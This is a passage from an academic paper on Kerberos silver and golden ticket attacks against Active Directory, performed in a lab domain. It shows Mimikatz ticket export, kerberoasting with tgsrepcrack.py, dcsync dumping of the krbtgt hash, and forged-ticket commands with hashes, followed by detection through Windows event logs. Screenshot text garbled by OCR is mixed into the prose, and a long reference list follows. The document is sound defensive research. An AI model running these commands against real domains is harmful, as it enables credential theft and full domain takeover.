+kerberos::list /export as shown in Figure 18. 
+ 
+Figure 18: Exporting Kerberos Tickets with Mimikatz 
+ 
+The TGS ticket on the bottom is the one that we 
+want. As seen above, it is for sqlserver.grippot.com 
+in the GRIPPOT.COM domain and used by the bross 
+user account which is currently logged in to the 
+Windows 10 client. It is encrypted with RC4 and is 
+valid for 10 hours. Mimikatz will store each of these 
+tickets as files in the current working directory. We 
+can then copy the TGS ticket over to the attacker 
+machine VM. 
+Once the attacker has stolen the TGS ticket, they 
+can then begin to crack the password used to encrypt 
+the ticket through a technique called kerberoasting. 
+Kerberoasting is a technique where an attacker 
+attempts to brute force the password of a service 
+account offline [12]. This is possible because all the 
+tickets in the domain are encrypted with the RC4 
+algorithm which is weaker than the default AES256. 
+ 
+Figure 19: Local Group Policy Settings on Domain Controller 
+ 
+The supported Kerberos encryption algorithms can be 
+changed in the Local Group Policy Settings as shown 
+in Figure 19. This setting must be changed on all 
+computers in the domain. 
+To crack the hash, we will use the Kerberos tool 
+kit which can be found on GitHub [13]. Specifically, 
+
+O mimikatz 2.2.0 x64 (oe.eo)
+00000000l- 8x00000017- rc4 hmac nt
+Start/End/MaxRenew:4/9/20227:48:44 AM:4/9/20225:48:44PM:4/16/20227:48:44AM
+Server Name
+:krbtgt/GRIPPOT.COM @GRIPPOT.COM
+client Name
+:brOss @ GRIPPOT.COM
+Flags40e1000o
+:namecanonicalize;pre_authent ; initial ;renewable: forwardable
+* saved to file
+: -4oe1oooo-bross@krbtgt-GRIPPOT.COM-GRIPPOT.COM.kirbi
+-x00900017-rc4hmacnt
+Start/End/MaxRenew:4/9/20229:33:10AM:4/9/20225:48:44PM:4/16/20227:48:44AM
+Server Name
+:Cifs/FileSERVER @ GRIPPOT.COM
+client Name
+：
+bross @ GRIPPOT.COM
+Flags 40a10000
+: name_canonicalize;pre_authent:renewable:forwardable;
+* Saved to file
+:1-4oa1oooo-bross@cifs~FileSERVER-GRIPPOT.COM.kirbi
+[0000002]-ex0000017-rc4_hmac_nt
+Start/End/MaxRenew:4/9/2022 9:29:01 AM :4/9/20225:48:44 PM;4/16/20227:48:44 AM
+Server Name
+LDAP/WinServer.grippot.com/grippot.com @ GRIPPoT.coM
+client Name
+: bross @ GRIPPOT.COM
+Flags 40a50000
+name canonicalize  okas_delegate:pre authent ; renewable; forwardable
+* saved to file
+: 2-4oa5oooo-bross@LDAPWinServer.grippot.comrgrippot.com-GRIPpoT.cOM.kirbi
+000000031-0x0000017-rc4hmacnt
+Start/End/MaxRenew:4/9/20227:48:44AM:4/9/20225:48:44PM:4/16/20227:48:44AM
+Server Name
+MSsQLSvc/sqlserver.grippot.com:1433 @ GRIPPoT.cOM
+client Name
+: brOss @ GRIPPOT.COM
+Flags 40a10000
+:name_canonicalize; pre_authent: renewable: forwardable:
+* Saved to file
+:3-4a1oooo-bross@M5sQLSvc~sqlserver.grippot.com1433-GRIPPoT.coM.kirbi
+mimikatz #Local GroupPolicy Editor
+File
+Action
+VEW
+Help
+LocalComputerPolicy
+Policy
+Security Setting
+vComputerConfiguration
+ Network access: Remotely accessible registry paths and sub...
+ Software Settings
+System/CurrentControls...
+Windows Settings
+Network access: Restrict anonymous accessto Named Pipes...Enabled
+ Network access: Restrict clients allowed to make remote call... Not Defined
+NameResolution Policy
+ Scripts (Startup/Shutdown)
+ Network access: Shares that can be accessed anonymously
+Not Defined
+ Deployed Printers
+ Network access: Sharing and security model for local accou...
+Classic - local users auth..
+Security Settings
+ Network security: Allow Local System to use computer ident... Not Defined
+Account Policies
+ Network security: Allow LocalSystem NULL session fallback
+Not Defined
+aLocal Policies
+ Network security: Allow PKU2U authentication requests to t...
+Not Defined
+aAudit Policy
+Networksecurity:Configure encryption types allowedforKe...RC4_HMAC_MD5
+User Rights Assignment
+Network security:DonotstoreLAN Managerhashvalueon...
+Enabled
+ Security Options
+ Network security: Force logoff when logon hours expire
+Disabled
+WindowsDefenderFirewall
+Network security:LAN Managerauthenticationlevel
+Not Defined
+Network List Manager Polici
+ Network security: LDAP client signing requirements
+Negotiate signing
+Public Key Policies
+Networksecurity:MinimumsessionsecurityforNTLMSSP...
+Require 128-bit encrypti...
+Software Restriction Policies
+ Network security: Minimum session security for NTLM SSP ...
+Require 128-bit encrypti..
+Application Control Policies
+Network security: Restrict NTLM: Add remote server excepti...Not Defined
+,IPSecurityPolicieson Local
+ Network security: Restrict NTLM: Add server exceptions in t... Not Defined
+Advanced Audit Policy Conf
+ Network security: Restrict NTLM: Audit Incoming NTLM Tra... Not Defined
+ Policy-based Qos
+Network security: Restrict NTLM:Audit NTLM authenticatio...Not Defined 
+the tgsrepcrack.py program will be used. The 
+command to do this is shown below in Figure 20. 
+ 
+ 
+ 
+ 
+Figure 20: Kerberoasting the Hash 
+We give the program a custom wordlist that contains 
+several common passwords to use. One of which is 
+the correct password, Password123. We also supply 
+the program with the legitimate TGS ticket that was 
+stolen from the Windows 10 client machine. As seen 
+in the screenshot, the password was successfully 
+cracked and is displayed on the screen. 
+ 
+3) Forge the TGS Ticket: Now that we have the 
+password for the SQLServiceAcc user, which is 
+running the MSSQLsvc service, we can begin to 
+forge the silver ticket. Mimikatz will be used to do 
+this, which has been downloaded onto the attacker 
+machine. To forge a silver ticket, Mimikatz requires 
+several arguments. First, you need the SID or security 
+identifier of the domain. This is a string that is unique 
+to the domain [14]. Each user account in Active 
+Directory is identified by their SID with a RID or 
+relative identifier concatenated at the end. Mimikatz 
+will also need the name of the domain, the fully 
+qualified domain name (FQDN) of the target, the 
+name of the target’s service, the RC4 hash of the 
+password, and the name of the user to impersonate. 
+ 
+ 
+Figure 21: Creating the Silver Ticket 
+ 
+The full command is shown above in Figure 21. 
+Mimikatz has successfully created the forged TGS 
+ticket for the bross user. As specified by the /ptt 
+option, Mimikatz has automatically stored the ticket 
+in the Kerberos cache in memory. 
+ 
+4) Access the SQL Server: With the TGS ticket in 
+the cache, the attacker machine can now access the 
+MSSQLsvc as the bross user. 
+ 
+ 
+Figure 22: Successful Authentication to MSSQLsvc 
+ 
+Using 
+the 
+sqlcmd 
+-S 
+SQLServer.grippot.com 
+command, the attacker can successfully access the 
+MSSQLsvc. In Figure 22, the SQL query shows that 
+the service believes the logged-in user is bross. The 
+forged TGS ticket is also shown above using the klist 
+command. 
+ 
+B. Golden Ticket Attack 
+Instead of the TGS ticket, the golden ticket attack 
+aims to forge the TGT ticket. With a valid TGT ticket 
+for a user with elevated privileges, an attacker can 
+have great control over the domain. While this attack 
+is more dangerous than the silver ticket attack, it is 
+harder to perform in the real world. This is because 
+an attacker would need to obtain the krbtgt account’s 
+NTLM hash. This would involve compromising an 
+account with elevated privileges in order to dump 
+hashes of accounts within the domain. 
+To see this attack in action, we will use the domain 
+controller at WinServer.grippot.com, the Windows 10 
+client, and the Windows 10 attacker machine which 
+is not a part of the grippot.com domain. 
+ 
+1) Obtain the krbtgt NTLM Hash: We will be 
+using the Mimikatz tool to obtain the krbtgt NTLM 
+hash. Mimikatz has a dcsync command that takes 
+advantage of the Directory Replication Service 
+Remote Protocol, or MS-DRSR [15]. This is a 
+service used for communication between domains so 
+that they can replicate information between each 
+other [15]. By using the dcsync command in 
+Mimikatz, we are essentially pretending to be a 
+domain controller, and asking for the password data 
+of the krbtgt account. However, for this to be 
+possible, we need the proper permissions. 
+ 
+Figure 23: Replicating Directory Changes Permission 
+
+口
+X
+File
+Home
+Share
+View
+> This PC > Downloads >
+Search Downloads
+A
+Name
+Date modified
+Type
+Size
+★Quickaccess
+Desktop
+VToday (3)
+Downloads
+3-40a1000-bross@M5SQLSvc_sqlserver..
+4/9/2022 9:40 AM
+KIRBI File
+2KB
+Documents
+attack_details
+4/9/2022 9:27 AM
+Text Document
+1KB
+kerberoast-master
+4/9/2022 9:44.AM
+Filefolder
+Windows PowerShell
+-
+server.grippot.con_1433-GRIPpoT.coH.kirbi
+USEHASHCAT,IT'SHELLAFASTER!!
+racking1tickets.
+foundpasswordfor
+ticket e:Password123
+File:.13-4ea1eeee-bross@MSSQLSvc_sqlserver.grippot.com_1433-GRIPPoT.CoM.kirbs
+C:\Users\attacker/Downloads>@mimikatz 2.2.0x54 (oe.eo)
+X
+#####��
+mimikatz2.2.e（x64)#19041Aug102021e2:01:23
+La Vie, A L'Anour"
+(oe.eo)
+抽#/
+排#
+>https://blog.gentilkiwi.com/mimikatz
+Benjamin DELPY
+gentilkiwi
+(benjamin@gentilkiwi.com)
+##V#
+Vincent LE TOUX
+vincent.letouxegnail.com)
+mimikatz#kerberos::golden/sid:5-1-5-21-3521637253-38211e3896-1122387918/domain:GRIPPoT.coM/ptt/id:5es/target:SQL
+erver.grippot.com/service:MSSQLsvc/rc4:58A478135A93Ac3BF058A5EAeE8FDB71/user:bross
+User
+bross
+Domain
+GRIPPOT.COM(GRIPPOT)
+SID
+S-1-5-21-3521637253-3821103896-1122387918
+User Id
+roups
+506
+Id
+58a478135a93ac3bfe58a5eaee8fdb71-rc4_hmac_nt
+513512529.518.519
+ServiceKey:
+Service
+MSSOLSVC
+Target
+SQLServer.grippot.com
+Lifetime
+Ticket :
+4/9/202210:45:31 AM:
+/4/6/2932
+10:45:31AM:4/6/203210:45:31AM
+Pass The Ticket
+PAC
+PAC
+generated
+signed
+EncTicketPart
+generated
+EncTicketPart
+KrbCred generated
+encrypted
+nimikatzVgrippot.com
+Advanced Security Settings forgrippot
+_ADMINS
+_USERS
+Owner:
+Administrators(GRIPPOT/Administrators)Change
+Computers
+Domain Controllers
+Permissions
+Auding
+Effective Access
+ForeignSecurityPrina
+Keys
+Foraditionalinfmation,doubeclickamissinntryTmfymsnentry,tthntyandclickEdit(ifvailae)
+LostAndFound
+Managed Service Ad
+Permission entries:
+Program Data
+Type
+Principal
+Access
+Inhe...
+Appliesto
+System
+Allow
+Cloneable Domain Controllers (..
+AllowaDCto createacloneof it...
+None
+This object only
+Users
+&Allow
+Enterprise Read-only Domain C.
+Replicating Directory Changes
+None
+This object only
+NTDS Quotas
+ZAllow
+Allow
+DomainControllers (GRIPPOTAD
+Replicating Divectory Changes
+Replicating DirectoryChanges All
+None
+This object only
+TPM Devices
+Tom Grippo (a-tgrippo@grippot..
+None
+This object andalldescendan Command Prompt - sqlcmd -S SQLServer-grippot.com - SQLCMD
+X
+CurrentLogonIdise:ex14925b
+Cached Tickets: (1)
+<e#
+Client:bross@GRIPPOT.COM
+KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
+startTine:4/9/2e221e:45:31(local)
+End Time:
+Renew Tine:
+4/6/203210:45:31 (1oca1)
+4/6/203210:45:31010ca11
+Session KeyType:RSADSIRC4-HMAC(NT)
+Cache Flags:e
+Kdc Called:
+C:lUsers\bross>sqlcmd-SSQLServer.grippot.com
+SELECT HOSTNAME()asHOstName,
+SUSER_NAMEO)
+LoggedInUser
+GC
+HostNane
+LoggedInUser
+ATTACKER
+GRIPPOTIbrOSS
+Lrowsaffected 
+In Figure 23 we can see that the a-tgrippo account 
+has the Replicating Directory Changes permission. 
+This will allow us to use the dcsync command. 
+From the Windows 10 client machine, we can use 
+Mimikatz as the a-tgrippo account to dump the hash 
+of the krbtgt account. This would simulate a 
+compromised Windows machine within the domain 
+that an attacker may utilize. 
+ 
+Figure 24: Obtaining krbtgt Hash 
+ 
+The command shown above is used to dump the 
+NTLM hash along with other information pertaining 
+to the krbtgt account. We will then copy this hash to 
+the Attacker machine which is not part of the 
+grippot.com domain. From there we can begin to 
+forge the golden ticket. 
+ 
+2) Forge the TGT Ticket: Now that the attacker 
+has the krbtgt account hash, they can forge the TGT. 
+We will use Mimikatz again to do this. It will require 
+the targeted domain, the security identifier of the 
+domain, the krbtgt hash, and the user that you wish to 
+impersonate. In this case, we will be impersonating 
+the Administrator account with the relative identifier 
+of 500. 
+ 
+ 
+Figure 25: Forging a TGT with Mimikatz 
+ 
+The Mimikatz command is shown in Figure 25 
+above. The /ptt option is also passed so that the TGT 
+is automatically copied to our cache in memory. With 
+this ticket, we will be able to request TGS tickets 
+from the domain controller so that we can access 
+resources within the domain. Since we are 
+impersonating the Administrator account, we can 
+access the C: drive of the domain controller. This is 
+shown in Figure 26 below. 
+ 
+Figure 26: Using the TGT 
+ 
+Using the TGT, we can access files within the 
+domain controller from a machine that is not a part of 
+the domain. More importantly, at the top of the 
+screenshot in Figure 26 we can see that the TGT is 
+valid for 10 years. This is the default expiration time 
+for Mimikatz, and it will allow the attacker greater 
+persistence in the domain. 
+ 
+C. Detection 
+Detecting these types of attacks can be difficult, 
+especially the silver ticket attack. The easiest way to 
+gain visibility into the Kerberos authentication 
+process is by looking at the Windows Security Event 
+Logs. There are several logs that pertain to Kerberos 
+including 4624, 4634, 4672, and 4769. The first three 
+event IDs are related to login events. For instance, 
+4624 is the log generated when a user successfully 
+logs in to a system [16]. By closely analyzing these 
+security event logs it is possible to catch a forged 
+ticket in action. 
+For the golden ticket attack in this experiment, we 
+can see a 4769 security event generated on the 
+domain controller. 
+ 
+Figure 27: Windows Security Event 4769 
+ 
+This is for the request of a ticket granting service 
+ticket. As shown in Figure 27, the ticket is requested 
+
+@ mimikatz 2.2.0x64 (oe.eo)
+口
+####带
+m1m1katz2.2.0(x64)#19041 Aug.10202102:01:23
+批#
+#排
+(oe.eo)
+...
+Benjamin DELPY
+gentilkiwi
+(benjamin@gentilkiwi.con)
+>https://blog-gentilkiwi.com/mimikatz
+##A##，
+Vincent LE TOUX
+vincent.letouxgmail.com
+>https://pingcastle.com/https://mysmartlogon.con***/
+mimikatz
+kerberos::golden/domain:grippot.con/sid:5S-1-5-21-3521637253-38211e3896-1122387918/id:5ee/user:Administrat
+/krbtgt:12d302e5cfedee9d1e3d21f7c5ef6187/ptt
+User
+Administrator
+SID
+Domain
+grippot.com
+500
+1-5-21-3521637253-3821103896-1122387918
+UserId
+513512520518519
+ServiceKey:12d302e5cfedee9d1e3d21f7c5ef6187
+rc4.hmac_nt
+Lifetime
+4/16/20229:34:02AM
+4/7/20329:34:82AM:4/7/28329:34:02AM
+Ticket
+Pass The Ticket
+PAC
+generated
+PAC
+signed
+EncTicketPart
+EncTicketPart
+generated
+encrypted
+KrbCred generated
+Golden ticket for
+Administrator@grippot.com
+successfullysubmitted forcurrent session
+mimikatz[ Event Viewer
+-
+File
+Action
+View
+Help
+[ Event Viewer(Local
+weilabl
+Actions
+>CustomViews
+Keywor..
+Date and Time
+Source
+Event ID
+Task Category
+A
+Security
+[ Application
+Audi..
+4/10/2022 9:35:33 AM
+Micros..
+4769
+Kerberos Senice Ticket
+Open Saved Log.-
+Security
+Audi..
+4/10/2022 9:35:33 AM
+Micros..
+4769
+Kerberos Senvice Ticket..
+>
+Setup
+7
+Create Custom View..
+System
+Evnt4769MicoftWindowssurityuditing
+x
+Import Custom View..
+Forwarded Events
+General
+Details
+Clear Log--
+ Applications and Services Lo
+Filter Current Log--
+ Subscriptions
+Account Informatiorc
+Adminitrator@grippot.com
+Account Name:
+国
+Properties
+Account Domain:
+grippot.com
+9 Find..
+Logon GUID:
+(d4019063-6837-b09a-5a16-b731de0321a8)
+H Save All Events As.-
+Service Informaticn:
+Attacha TaskTothisLeg
+Serice Name:
+WINSERVERS
+Service ID:
+GRIPPOTWNSERVERS
+View
+Netwock liformatiorc
+Refreh
+Client Address
+F：172.16.0.102
+BHelp
+Client Port:
+Additicnal lnformation:
+Event 4769,MicrosoftWindows-
+Ticket Options:
+0x40810000
+ Event Properties
+Ticket Encryption Type
+0x17
+Transited Senvices:
+Failure Code
+Copy
+ Sive Selected Events...
+Log Name:
+Security
+@Refresh
+Source:
+Microsoft Windows security
+Logged
+4/10/2022 9:35:33 AM
+图 Help
+Event ID:
+4769
+Task Category
+Kerberos Service Ticket Operations
+Levet
+Information
+Keyword's:
+Audit Success
+User
+N/A
+Cemputer
+WinServer.grippot.com
+OpCode:
+Info
+More Information:
+Event Log Online HelpO Select mimikatz 2.2.0 x64 (oe.eo)
+mimikatz #lsadump::dcsync/user:krbtgt/domain:grippot.com
+DC
+'grippot.com'will be the domain
+TDC
+winServer.grippot.com'will bethe Dc server
+TDC
+"krbtgt'
+will be the user account
+[rpc]
+Service
+dap
+[rpe]
+Authnsvc :
+GSS NEGOTIATE (9)
+Object RDN
+: krbtgt
+SAM ACCOUNT
+**
+SAM Username
+krbtgt
+Account
+Type
+30000000
+USER OBJECT
+User Account Control
+00000202
+ACCOUNTDISABLE NORMAL ACCOUNT
+Account expiration
+Password last change
+3/22/20226:31:33 AM
+Object Security ID
+S-1-5-21-3521637253-3821103896-1122387918-502
+Object Relative ID
+502
+Credentials
+HashNTLM:12d302e5cf0d0e9d1e3d21f7c5ef6187
+ntim-
+12d302e5cf0d0e9d1e3d21f7c5ef6187
+1m
+Q:
+86c528a1a699dbc48e0d4bcf32a3e595cCommandPrompt
+Ticket Flags ex4eeeeeee -> forwardable renewable initial pre authent
+startTime:4/10/20229:34:02(local)
+End Time:
+4/7/20329:34:02(1oca1)
+Renew Time:4/7/20329:34:02 (1ocal)
+Session Key Type: RSADSI RC4-HMAC(NT)
+Cache Flags: ox1 ->PRIMARY
+Kdc Called:
+c:luserslattacker>net useo:llwinserver.grippot.comlcs
+The command completed successfully
+t:lUsersattacker>o:
+o:l>dir
+Volume in drive o has no label
+Volume Serial Number is 8873-AAA2
+Directory of o:1
+03/22/2022
+06:47AM
+<DIR>
+inetpub
+04/05/2022
+01:15PM
+<DIR>
+PerfLogs
+03/22/2022
+06:47AM
+<DIR>
+Program Files
+03/22/2022
+06:47AM
+<DIR>
+Program Files
+(x86)
+03/22/2022
+06:44 AM
+<DIR>
+Users
+04/05/2022
+01:15PM
+<DIR>
+Windows
+e File(s)
+ebytes
+6 Dir(s)
+3,342,397,440 bytesfree 
+by the Administrator account on 4/10/22 at 9:35 am. 
+There are a couple of things that are suspicious about 
+this log. First, there is no hostname for the client. If 
+the client were a part of the domain, their hostname 
+would appear in the log. Instead, just the IP address is 
+shown. Also, more importantly, there is no record of 
+a 4768 security event. This is the event that logs the 
+request of a TGT. This could be a good indicator that 
+the user has forged their own TGT, and never 
+retrieved one from the domain controller. 
+Since the silver ticket attack does not involve the 
+domain controller, it is harder to detect. In fact, for 
+this experiment, it was not detected at all. The only 
+significant logs generated were on the SQL server for 
+login (4624) and log out (4634). Since we 
+impersonated the bross user account for the silver 
+ticket attack, these logs look normal. Typically, 
+though, if an attacker is using a username that doesn’t 
+exist, these logs can be useful. 
+ 
+V. ANALYSIS AND DISCUSSION 
+Although we weren’t as successfully detecting 
+these attacks in the virtual environment, there are 
+several ways in which ticket forgery can be detected 
+in the real world. 
+Many of these detection methods involve 
+analyzing the tickets to look for anomalies. This can 
+include things such as non-existent usernames, 
+weaker encryption types, and suspicious privileges. 
+The problem with this is that a smart attacker can 
+easily correct these parameters and forge tickets that 
+look completely legitimate. The only parameter that 
+an attacker would be unlikely to change is the ticket 
+lifetime. The default MaxTicketAge for legitimate 
+tickets is 10 hours, whereas tickets created with 
+Mimikatz have a default of 10 days [17]. We can see 
+this in Figure 25 with the golden ticket that we 
+created. Its lifetime is from 4/10/2022 to 4/7/2032. 
+This also holds true for the silver ticket created in 
+Figure 21. An attacker could easily change the 
+lifetime to 10 hours to be stealthier, however, they 
+likely wouldn’t. This is because forged Kerberos 
+tickets, and forged TGTs in particular, are used for 
+persistence within a network. Therefore, an attacker 
+would want their ticket to last as long as possible so 
+that they can continue to gain access to systems even 
+after they are kicked off. Thus, a detection method 
+that looks at the MaxTicketAge parameter of 
+Kerberos tickets would be effective in detecting these 
+types of attacks. 
+Overall, it would be advisable to implement a 
+centralized log management system [18] so that all 
+the logs generated across the network are stored in 
+one place. Since ticket forgery attacks often generate 
+logs across many systems, this would make analysis 
+easier. 
+VI. CONCLUSION 
+As long as organizations continue to employ 
+Active Directory Domain Services, ticket forgery 
+attacks against the Kerberos authentication protocol 
+will remain a threat. These attacks are complex and 
+require a deep understanding of both Active 
+Directory and Kerberos. They exploit vulnerabilities 
+within the Kerberos authentication protocol and 
+allow potential attackers to impersonate users and 
+privileges within the network. The golden ticket 
+attack involves forging a TGT that can be used to 
+access any services on the network. The silver ticket 
+attack involves forging a TGS ticket that can be used 
+to access a specific service on the network. To 
+demonstrate these attacks, we created a virtual 
+environment that simulated a real organization. This 
+included a domain controller to run Active Directory 
+Domain Services, a SQL server, and client machines. 
+We then performed these attacks within the virtual 
+environment to observe their functioning. 
+Specifically, the Windows security logs were 
+analyzed to detect the forged tickets in the network. 
+As shown, these attacks are difficult to detect once 
+the tickets have been forged. This is especially true 
+for the silver ticket attack which does not need to 
+connect to the domain controller. 
+Regardless, both attacks are dangerous and should be 
+recognized as a serious threat by corporations. It 
+would be advisable to implement a powerful log 
+collecting service to gain additional visibility into the 
+network and catch forged tickets before they cause 
+serious damage. 
+Future work includes integrating the proposed 
+approaches with our cybersecurity framework [23-57] 
+to detect the silver ticket attack in the 5G networks. 
+ 
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+Analysis in the 5G Edge Network Using a Dynamic 
+Hexagonal 
+Fuzzy 
+Method”, 
+Sensor 
+Journal. 
+Sensors 2022, 22, 9. https://doi.org/10.3390/s22010009. 
+[25] 
+Hisham A. Kholidy, Andrew Karam, James L. Sidoran, 
+Mohammad A. Rahman, "5G Core Security in Edge 
+Networks: A Vulnerability Assessment Approach", the 
+26th 
+IEEE 
+Symposium 
+on 
+Computers 
+and 
+Communications (IEEE ISCC 2021), Athens, Greece, 
+September 
+5-8, 
+2021. 
+https://ieeexplore.ieee.org/document/9631531 
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+Multicriteria Decision Making Approach for Assessing 
+Security Risks in 5G Networks”, December 2021, 
+Preprint={2112.13072}, arXiv. 
+[27] 
+Kholidy, H.A., Fabrizio Baiardi, "CIDS: A framework 
+for Intrusion Detection in Cloud Systems", in the 9th Int. 
+Conf. on Information Technology: New Generations 
+ITNG 2012, April 16-18, Las Vegas, Nevada, USA. 
+http://www.di.unipi.it/~hkholidy/projects/cids/  
+[28] 
+Kholidy, H.A. (2020), "Autonomous mitigation of cyber 
+risks 
+in 
+the 
+Cyber–Physical 
+Systems", 
+doi:10.1016/j.future.2020.09.002, Future 
+Generation 
+Computer Systems,Volume 115, 2021, Pages 171-187, 
+ISSN 
+0167-739X, 
+https://doi.org/10.1016/j.future.2020.09.002. 
+[29] 
+Hisham 
+A. 
+Kholidy, 
+Abdelkarim 
+Erradi, 
+Sherif 
+Abdelwahed, Fabrizio Baiardi, "A risk mitigation 
+approach for autonomous cloud intrusion response 
+system", 
+Computing 
+Journal, 
+Springer, 
+DOI: 
+10.1007/s00607-016-0495-8, June 2016. (Impact factor: 
+2.220). https://link.springer.com/article/10.1007/s00607-
+016-0495-8 
+[30] 
+Hisham A. Kholidy, “Detecting impersonation attacks in 
+cloud computing environments using a centric user 
+profiling 
+approach”, 
+Future 
+Generation 
+Computer 
+Systems, Vol 115, 17, December 13, 2020, ISSN 0167-
+739X.  
+[31] 
+Kholidy, H.A., Baiardi, F., Hariri, S., et al.: “A 
+hierarchical cloud intrusion detection system: design and 
+evaluation”, Int. J. Cloud Comput., Serv. Archit. 
+(IJCCSA), 2012, 2, pp. 1–24. 
+[32] 
+Kholidy, H.A., “Detecting impersonation attacks in cloud 
+computing environments using a centric user profiling 
+approach”, Future Generation Computer Systems, Volume 
+115, issue 17, December 13, 2020, Pages 171-187, ISSN 
+0167-739X, https://doi.org/10.1016/j.future.2020.12. 
+[33] 
+Kholidy, 
+Hisham 
+A.: 
+'Correlation-based 
+sequence 
+alignment models for detecting masquerades in cloud 
+computing', IET Information Security, 2020, 14, (1), p.39-
+50, DOI: 10.1049/iet-ifs.2019.0409. 
+[34] 
+Kholidy, H.A., Abdelkarim Erradi, “A Cost-Aware Model 
+for 
+Risk 
+Mitigation 
+in 
+Cloud 
+Computing 
+SystemsSuccessful 
+accepted 
+in 
+12th 
+ACS/IEEE 
+International Conference on Computer Systems and 
+Applications 
+(AICCSA), 
+Marrakech, 
+Morocco, 
+November, 2015.  
+[35] 
+A H M Jakaria, Mohammad A. Rahman, Alvi A. Khalil, 
+Hisham A. Kholidy, Matthew Anderson et al “Trajectory 
+Synthesis for a UAV Swarm Based on Resilient Data 
+Collection Objectives", IEEE Transactions on Network 
+and Service Management, November, 2022  doi: 
+10.1109/TNSM.2022.3216804. 
+[36] 
+Hisham A. Kholidy, Andrew Karam, James Sidoran, et al. 
+“Toward Zero Trust Security in 5G Open Architecture 
+Network Slices”, the 40th IEEE Military Conference 
+(MILCOM), San Diego, CA, USA, November 29, 2022. 
+[37] 
+Hisham A. Kholidy, Riaad Kamaludeen “An Innovative 
+Hashgraph-based Federated Learning Approach for Multi 
+Domain 5G Network Protection”, IEEE Future Networks 
+(5G World Forum), Montreal, Canada, October 2022.  
+[38] 
+Hisham A. Kholidy, Andrew Karam, Jeffrey H. Reed, 
+Yusuf Elazzazi, "An Experimental 5G Testbed for Secure 
+Network Slicing Evaluation", IEEE Future Networks (5G 
+World Forum), Montreal, Canada, October 2022. 
+[39] 
+Hisham A. Kholidy, Salim Hariri, Pratik Satam, Safwan 
+Ahmed Almadani “Toward an Experimental Federated 6G 
+Testbed: A Federated learning Approach”, the 13th Int. 
+Conf. on Information and Communication Technology 
+Convergence (ICTC), Jeju Island, Korea, October 9, 2022. 
+[40] 
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+Internet of Things”, 2021 18th Annual IEEE International 
+Conference on Sensing, Communication  
+[41] 
+Kholidy, H.A., Ali T., Stefano I., et al, “Attacks Detection 
+in SCADA Systems Using an Improved Non-Nested 
+
+ 
+Generalized Exemplars Algorithm", the 12th IEEE 
+International Conference on Computer Engineering and 
+Systems (ICCES 2017), December 19-20, 2017.  
+[42] 
+Qian Chen, Kholidy, H.A., Sherif Abdelwahed, John 
+Hamilton, "Towards Realizing a Distributed Event and 
+Intrusion Detection System", the Int. Conf. on Future 
+Network Systems and Security, Florida, USA, Aug 
+2017.  
+[43] 
+Hisham 
+A. 
+Kholidy, 
+Abdelkarim 
+Erradi, 
+Sherif 
+Abdelwahed, Abdulrahman Azab, “A Finite State 
+Hidden Markov Model for Predicting Multistage Attacks 
+in Cloud Systems", in the 12th IEEE Int. Conf. on 
+Dependable, Autonomic and Secure Computing, China, 
+August 2014. 
+[44] 
+Ferrucci, R., & Kholidy, H. A. (2020, May). A Wireless 
+Intrusion Detection for the Next Generation (5G) 
+Networks”, Master’s Thesis, SUNY poly. 
+[45] 
+Rahman, A., Mahmud, M., Iqbal, T., Saraireh, L., 
+Hisham A. Kholidy., et. al. (2022). Network anomaly 
+detection in 5G networks. Mathematical Modelling of 
+Engineering Problems, Vol. 9, No. 2, pp. 397-404. 
+https://doi.org/10.18280/mmep.090213 
+[46] 
+Hisham Kholidy, “State Compression and Quantitative 
+Assessment Model for Assessing Security Risks in the 
+Oil 
+and 
+Gas 
+Transmission 
+Systems”, 
+doi 
+: 
+10.48550/ARXIV.2112.14137, 
+https://arxiv.org/abs/2112.14137}, December 2021.  
+[47] 
+Hisham A.  Kholidy, “Correlation  Based  Sequence  
+Alignment  Models  For  Detecting Masquerades in 
+Cloud  Computing”, IET Information Security Journal,  
+DOI: 10.1049/iet-ifs.2019.0409, Sept. 2019 (ISI Impact 
+Factor(IF): 
+1.51) 
+https://digital-
+library.theiet.org/content/journals/10.1049/iet-
+ifs.2019.0409 
+[48] 
+Hisham A. Kholidy, “An Intelligent Swarm based 
+Prediction Approach for Predicting Cloud Computing 
+User Resource Needs”, the Computer Communications 
+Journal, 
+December 
+19 
+(ISI 
+IF: 
+2.766). 
+https://www.sciencedirect.com/science/article/abs/pii/S0
+140366419303329 
+[49] 
+Hisham A. Kholidy, Abdelkarim Erradi, “VHDRA: A 
+Vertical and Horizontal Dataset Reduction Approach for 
+Cyber-Physical 
+Power-Aware 
+Intrusion 
+Detection 
+Systems”, SECURITY AND COMMUNICATION 
+NETWORKS Journal (ISI IF: 1.376), March 7, 2019. 
+vol. 
+2019, 
+Article 
+ID 
+6816943, 
+15 
+pages. https://doi.org/10.1155/2019/6816943.  
+[50] 
+Hisham A. Kholidy, Hala Hassan, Amany Sarhan, 
+Abdelkarim 
+Erradi, 
+Sherif 
+Abdelwahed, 
+"QoS 
+Optimization for Cloud Service Composition Based on 
+Economic Model", Book Chapter in the Internet of 
+Things. User-Centric IoT, Volume 150 of the series 
+Lecture Notes of the Institute for Computer Sciences,  
+Social 
+ 
+Informatics 
+and 
+ 
+Telecommunications  
+Engineering pp  355-366,  June  2015.  
+[51] 
+Hisham A. Kholidy, Alghathbar Khaled s., “Adapting 
+and accelerating the Stream Cipher Algorithm RC4 
+using Ultra Gridsec and HIMAN and use it to secure 
+HIMAN Data”, Journal of Information Assurance and 
+Security (JIAS), vol. 4 (2009)/ issue 4, pp 274-283, 
+2009. (Indexed by INSPEC, Scopus, Pubzone, Computer 
+Information System Abstracts, MathSci). 
+[52] 
+Hisham A. Kholidy, “Towards A Scalable Symmetric 
+Key Cryptographic Scheme: Performance Evaluation 
+and Security Analysis”, IEEE International Conference 
+on Computer Applications & Information Security 
+(ICCAIS), Riyadh, Saudi Arabia, May 1-3, 2019. 
+https://ieeexplore.ieee.org/document/8769482 
+[53] 
+Samar SH. Haytamy, Hisham A. Kholidy, Fatma A. 
+“ICSD: Integrated Cloud Services Dataset”, Springer, 
+Lecture Note in Computer Science, ISBN 978-3-319-
+94471-5, https://doi.org/10.1007/978-3-319-94472-2. 
+[54] 
+Stefano Iannucci, Hisham A. Kholidy Amrita Dhakar 
+Ghimire, Rui Jia, Sherif Abdelwahed, Ioana Banicescu, 
+“A 
+Comparison 
+of 
+Graph-Based 
+Synthetic 
+Data 
+Generators for Benchmarking Next-Generation Intrusion 
+Detection Systems”, IEEE Cluster 2017, Sept 5 2017, 
+Hawaii, USA. 
+[55] 
+Mustafa, F.M., Kholidy, H.A., Sayed, A.F. et al. Enhanced 
